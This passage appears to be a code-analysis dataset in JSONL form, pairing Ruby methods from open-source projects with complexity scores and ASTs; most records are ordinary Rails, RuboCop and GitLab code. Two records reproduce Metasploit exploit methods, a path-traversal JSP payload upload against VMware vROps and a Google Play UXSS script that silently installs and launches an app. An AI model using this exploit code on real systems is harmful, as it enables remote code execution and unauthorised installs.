end","complexity_score":34.13,"ast_json":"{\"type\":\"def\",\"children\":[\"test_update_all_cares_about_optimistic_locking\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"david\",{\"type\":\"send\",\"children\":[null,\"people\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"travel\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"seconds\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"now\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"lvar\",\"children\":[\"now\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"david\"]},\"updated_at\"]}]},{\"type\":\"lvasgn\",\"children\":[\"people\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"people\",{\"type\":\"sym\",\"children\":[\"michael\"]},{\"type\":\"sym\",\"children\":[\"david\"]},{\"type\":\"sym\",\"children\":[\"susan\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"people\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"lock_version\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"people\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"lvar\",\"children\":[\"now\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"now\"]}]},\"*\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"people\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"updated_at\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"people\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"lock_version\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"StaleObjectError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"david\"]},\"touch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time\"]},{\"type\":\"lvar\",\"children\":[\"now\"]}]}]}]}]}]}]}]}]}","id":"3aee5369-12d2-49a1-80b9-ac70b9af5d53"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/non_local_exit_from_iterator.rb","start_line":46,"raw_source":"def on_return(return_node)\n          return if return_value?(return_node)\n\n          return_node.each_ancestor(:any_block, :any_def) do |node|\n            break if scoped_node?(node)\n\n            # if a proc is passed to `Module#define_method` or\n            # `Object#define_singleton_method`, `return` will not cause a\n            # non-local exit error\n            break if define_method?(node.send_node)\n\n            next if node.argument_list.empty?\n\n            if chained_send?(node.send_node)\n              add_offense(return_node.loc.keyword)\n              break\n            end\n          end\n        end","complexity_score":22.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_return\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"return_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"return_value?\",{\"type\":\"lvar\",\"children\":[\"return_node\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"return_node\"]},\"each_ancestor\",{\"type\":\"sym\",\"children\":[\"any_block\"]},{\"type\":\"sym\",\"children\":[\"any_def\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scoped_node?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"send_node\"]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"argument_list\"]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chained_send?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"send_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"return_node\"]},\"loc\"]},\"keyword\"]}]},{\"type\":\"break\",\"children\":[]}]},null]}]}]}]}]}","id":"02408324-2400-4fec-adef-9e2fff193840"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/user_serializer.rb","start_line":296,"raw_source":"def gravatar_avatar_upload_id\n    object.user_avatar.gravatar_upload_id\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"gravatar_avatar_upload_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user_avatar\"]},\"gravatar_upload_id\"]}]}","id":"7a48f5e6-175b-4358-b19b-66512ef38bfd"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb","start_line":686,"raw_source":"def select(sql, name = nil, binds = [], prepare: false, async: false, allow_retry: false)\n          if async && async_enabled?\n            if current_transaction.joinable?\n              raise AsynchronousQueryInsideTransactionError, \"Asynchronous queries are not allowed inside transactions\"\n            end\n\n            # We make sure to run query transformers on the original thread\n            sql = preprocess_query(sql)\n            future_result = async.new(\n              pool,\n              sql,\n              name,\n              binds,\n              prepare: prepare,\n            )\n            if supports_concurrent_connections? && !current_transaction.joinable?\n              future_result.schedule!(ActiveRecord::Base.asynchronous_queries_session)\n            else\n              future_result.execute!(self)\n            end\n            future_result\n          else\n            result = internal_exec_query(sql, name, binds, prepare: prepare, allow_retry: allow_retry)\n            if async\n              FutureResult.wrap(result)\n            else\n              result\n            end\n          end\n        end","complexity_score":33.6,"ast_json":"{\"type\":\"def\",\"children\":[\"select\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql\"]},{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"binds\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"prepare\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"async\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"allow_retry\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"async\"]},{\"type\":\"send\",\"children\":[null,\"async_enabled?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_transaction\"]},\"joinable?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"AsynchronousQueryInsideTransactionError\"]},{\"type\":\"str\",\"children\":[\"Asynchronous queries are not allowed inside transactions\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"send\",\"children\":[null,\"preprocess_query\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"future_result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"async\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"pool\"]},{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"binds\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prepare\"]},{\"type\":\"lvar\",\"children\":[\"prepare\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_concurrent_connections?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_transaction\"]},\"joinable?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"future_result\"]},\"schedule!\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"asynchronous_queries_session\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"future_result\"]},\"execute!\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"lvar\",\"children\":[\"future_result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"internal_exec_query\",{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"binds\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prepare\"]},{\"type\":\"lvar\",\"children\":[\"prepare\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_retry\"]},{\"type\":\"lvar\",\"children\":[\"allow_retry\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"async\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FutureResult\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]}","id":"01637dcf-0ed6-4467-baf3-8238156a51de"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/duplicate_branch.rb","start_line":122,"raw_source":"def offense_range(duplicate_branch)\n          parent = duplicate_branch.parent\n\n          if parent.respond_to?(:else_branch) && parent.else_branch.equal?(duplicate_branch)\n            if parent.if_type? && parent.ternary?\n              duplicate_branch.source_range\n            else\n              parent.loc.else\n            end\n          else\n            parent.source_range\n          end\n        end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"offense_range\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"duplicate_branch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duplicate_branch\"]},\"parent\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"else_branch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"else_branch\"]},\"equal?\",{\"type\":\"lvar\",\"children\":[\"duplicate_branch\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"if_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"ternary?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duplicate_branch\"]},\"source_range\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"loc\"]},\"else\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"source_range\"]}]}]}]}","id":"631164db-8535-466e-af20-f0d92e0bbe83"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/json/encoding_test.rb","start_line":405,"raw_source":"def test_json_gem_pretty_generate_by_passing_active_support_encoder\n    h = HashWithAsJson.new\n    h[:foo] = \"hello\"\n    h[:bar] = \"world\"\n\n    assert_equal <<EXPECTED.chomp, JSON.pretty_generate(h)\n{\n  \"foo\": \"hello\",\n  \"bar\": \"world\"\n}\nEXPECTED\n    assert_nil h.as_json_called\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_json_gem_pretty_generate_by_passing_active_support_encoder\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"h\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HashWithAsJson\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"str\",\"children\":[\"hello\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"bar\"]},{\"type\":\"str\",\"children\":[\"world\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"foo\\\": \\\"hello\\\",\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"bar\\\": \\\"world\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"}\\n\"]}]},\"chomp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"pretty_generate\",{\"type\":\"lvar\",\"children\":[\"h\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"as_json_called\"]}]}]}]}","id":"3b629301-70ae-409e-8bcb-10cb441aed25"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git_access.rb","start_line":503,"raw_source":"def check_size_before_push!\n      if check_size_limit? && size_checker.above_size_limit?\n        raise ForbiddenError, size_checker.error_message.push_error\n      end\n    end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_size_before_push!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_size_limit?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"size_checker\"]},\"above_size_limit?\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ForbiddenError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"size_checker\"]},\"error_message\"]},\"push_error\"]}]},null]}]}","id":"094aa3d9-689d-4ad9-b3d0-85b59db1d6c8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/components/gantt.rb","start_line":167,"raw_source":"def right = left + width","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"right\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"left\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"width\"]}]}]}","id":"459eb784-5712-460a-954b-fdf5468b9b02"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/google_maps/records_storage_importer.rb","start_line":28,"raw_source":"def process_file_in_batches\n    parsed_file = load_json_data\n    return unless parsed_file.is_a?(Hash) && parsed_file['locations']\n\n    locations = parsed_file['locations']\n    process_locations_in_batches(locations) if locations.present?\n  end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"process_file_in_batches\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parsed_file\",{\"type\":\"send\",\"children\":[null,\"load_json_data\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_file\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_file\"]},\"[]\",{\"type\":\"str\",\"children\":[\"locations\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"locations\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_file\"]},\"[]\",{\"type\":\"str\",\"children\":[\"locations\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locations\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"process_locations_in_batches\",{\"type\":\"lvar\",\"children\":[\"locations\"]}]},null]}]}]}","id":"512bf05d-2c4a-4f01-bef7-9b4979913089"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/vmware_vrops_mgr_ssrf_rce.rb","start_line":145,"raw_source":"def write_jsp_payload\n    jsp_path = \"/usr/lib/vmware-casa/casa-webapp/webapps/casa/#{jsp_filename}\"\n\n    print_status('Writing JSP payload')\n    vprint_status(jsp_path)\n\n    multipart_form = Rex::MIME::Message.new\n    multipart_form.add_part(\n      \"../../../../..#{jsp_path}\",\n      nil, # Content-Type\n      nil, # Content-Transfer-Encoding\n      'form-data; name=\"name\"'\n    )\n    multipart_form.add_part(\n      payload.encoded,\n      nil, # Content-Type\n      nil, # Content-Transfer-Encoding\n      %(form-data; name=\"file\"; filename=\"#{jsp_filename}\")\n    )\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, '/casa/private/config/slice/ha/certificate'),\n      'authorization' => @creds,\n      'ctype' => \"multipart/form-data; boundary=#{multipart_form.bound}\",\n      'data' => multipart_form.to_s\n    )\n\n    unless res&.code == 200\n      fail_with(Failure::NotVulnerable, 'Failed to write JSP payload')\n    end\n\n    register_file_for_cleanup(jsp_path)\n\n    print_good('Successfully wrote JSP payload')\n  end","complexity_score":27.0,"ast_json":"{\"type\":\"def\",\"children\":[\"write_jsp_payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"jsp_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/usr/lib/vmware-casa/casa-webapp/webapps/casa/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"jsp_filename\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Writing JSP payload\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"lvar\",\"children\":[\"jsp_path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"multipart_form\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"multipart_form\"]},\"add_part\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"../../../../..\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jsp_path\"]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"name\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"multipart_form\"]},\"add_part\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"file\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"jsp_filename\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/casa/private/config/slice/ha/certificate\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"authorization\"]},{\"type\":\"ivar\",\"children\":[\"@creds\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"multipart_form\"]},\"bound\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"multipart_form\"]},\"to_s\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"Failed to write JSP payload\"]}]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"jsp_path\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Successfully wrote JSP payload\"]}]}]}]}","id":"71b072b9-953f-47af-b95b-5088da5795ee"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb","start_line":84,"raw_source":"def exploit_html\n    <<-EOS\n      <html>\n      <body>\n      <script>\n\n      var APP_ID = '#{datastore['PACKAGE_NAME']}';\n      var MAIN_ACTIVITY = '#{datastore['ACTIVITY_NAME']}';\n      var HIDDEN_STYLE = '#{hidden_css}';\n\n      function exploit() {\n\n        var src = 'https://play.google.com/store/apps/'+(new Array(2000)).join('aaaaaaa');\n        var frame = document.createElement('iframe');\n        frame.setAttribute('src', src);\n        frame.setAttribute('name', 'f');\n        frame.setAttribute('style', HIDDEN_STYLE);\n        function uxss(src) {\n          window.open('\\\\u0000javascript:eval(atob(\"'+ btoa(src) +'\"))', 'f');\n        }\n\n        var loaded = false;\n        frame.onload = function() {\n          if (loaded) return;\n          loaded = true;\n          setTimeout(function(){\n            uxss('history.replaceState({},{},\"/\"); x=new XMLHttpRequest;x.open(\"GET\", \"/store/apps/details?id='+APP_ID+'\");x.onreadystatechange=function(){'+\n              'if(x.readyState==4){ document.open(\"text/html\"); document.write(x.responseText); document.close(); top.postMessage(\"1\", \"*\") }};x.send();');\n          }, 100);\n        };\n\n        var i1, i2;\n        var w = window;\n        window.onmessage = function(event) {\n          if (event.data === '1') {\n            i1 = w.setInterval(function(){\n              uxss('document.body.innerHTML.match(/This app is compatible/).length; document.querySelector(\"button.price\").click(); top.postMessage(\"2\", \"*\");');\n            }, 500);\n          } else if (event.data === '2') {\n            w.clearInterval(i1);\n            i2 = setInterval(function(){2\n              uxss('document.querySelector(\"button.play-button.apps.loonie-ok-button\").click(); top.postMessage(\"3\", \"*\");');\n              }, 500);\n          } else if (event.data === '3') {\n            clearInterval(i2);\n            setTimeout(function(){\n              setInterval(function(){\n                frame.src = 'intent:launch#Intent;SEL;component='+MAIN_ACTIVITY+';end';\n              }, 500);\n            }, 1000);\n          }\n        }\n\n        document.body.appendChild(frame);\n      }\n\n      #{detect_login_js}\n\n      </script>\n\n      </body>\n      </html>\n    EOS\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit_html\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      <html>\\n\"]},{\"type\":\"str\",\"children\":[\"      <body>\\n\"]},{\"type\":\"str\",\"children\":[\"      <script>\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      var APP_ID = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PACKAGE_NAME\"]}]}]},{\"type\":\"str\",\"children\":[\"';\\n\"]},{\"type\":\"str\",\"children\":[\"      var MAIN_ACTIVITY = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ACTIVITY_NAME\"]}]}]},{\"type\":\"str\",\"children\":[\"';\\n\"]},{\"type\":\"str\",\"children\":[\"      var HIDDEN_STYLE = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hidden_css\"]}]},{\"type\":\"str\",\"children\":[\"';\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      function exploit() {\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        var src = 'https://play.google.com/store/apps/'+(new Array(2000)).join('aaaaaaa');\\n\"]},{\"type\":\"str\",\"children\":[\"        var frame = document.createElement('iframe');\\n\"]},{\"type\":\"str\",\"children\":[\"        frame.setAttribute('src', src);\\n\"]},{\"type\":\"str\",\"children\":[\"        frame.setAttribute('name', 'f');\\n\"]},{\"type\":\"str\",\"children\":[\"        frame.setAttribute('style', HIDDEN_STYLE);\\n\"]},{\"type\":\"str\",\"children\":[\"        function uxss(src) {\\n\"]},{\"type\":\"str\",\"children\":[\"          window.open('\\\\u0000javascript:eval(atob(\\\"'+ btoa(src) +'\\\"))', 'f');\\n\"]},{\"type\":\"str\",\"children\":[\"        }\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        var loaded = false;\\n\"]},{\"type\":\"str\",\"children\":[\"        frame.onload = function() {\\n\"]},{\"type\":\"str\",\"children\":[\"          if (loaded) return;\\n\"]},{\"type\":\"str\",\"children\":[\"          loaded = true;\\n\"]},{\"type\":\"str\",\"children\":[\"          setTimeout(function(){\\n\"]},{\"type\":\"str\",\"children\":[\"            uxss('history.replaceState({},{},\\\"/\\\"); x=new XMLHttpRequest;x.open(\\\"GET\\\", \\\"/store/apps/details?id='+APP_ID+'\\\");x.onreadystatechange=function(){'+\\n\"]},{\"type\":\"str\",\"children\":[\"              'if(x.readyState==4){ document.open(\\\"text/html\\\"); document.write(x.responseText); document.close(); top.postMessage(\\\"1\\\", \\\"*\\\") }};x.send();');\\n\"]},{\"type\":\"str\",\"children\":[\"          }, 100);\\n\"]},{\"type\":\"str\",\"children\":[\"        };\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        var i1, i2;\\n\"]},{\"type\":\"str\",\"children\":[\"        var w = window;\\n\"]},{\"type\":\"str\",\"children\":[\"        window.onmessage = function(event) {\\n\"]},{\"type\":\"str\",\"children\":[\"          if (event.data === '1') {\\n\"]},{\"type\":\"str\",\"children\":[\"            i1 = w.setInterval(function(){\\n\"]},{\"type\":\"str\",\"children\":[\"              uxss('document.body.innerHTML.match(/This app is compatible/).length; document.querySelector(\\\"button.price\\\").click(); top.postMessage(\\\"2\\\", 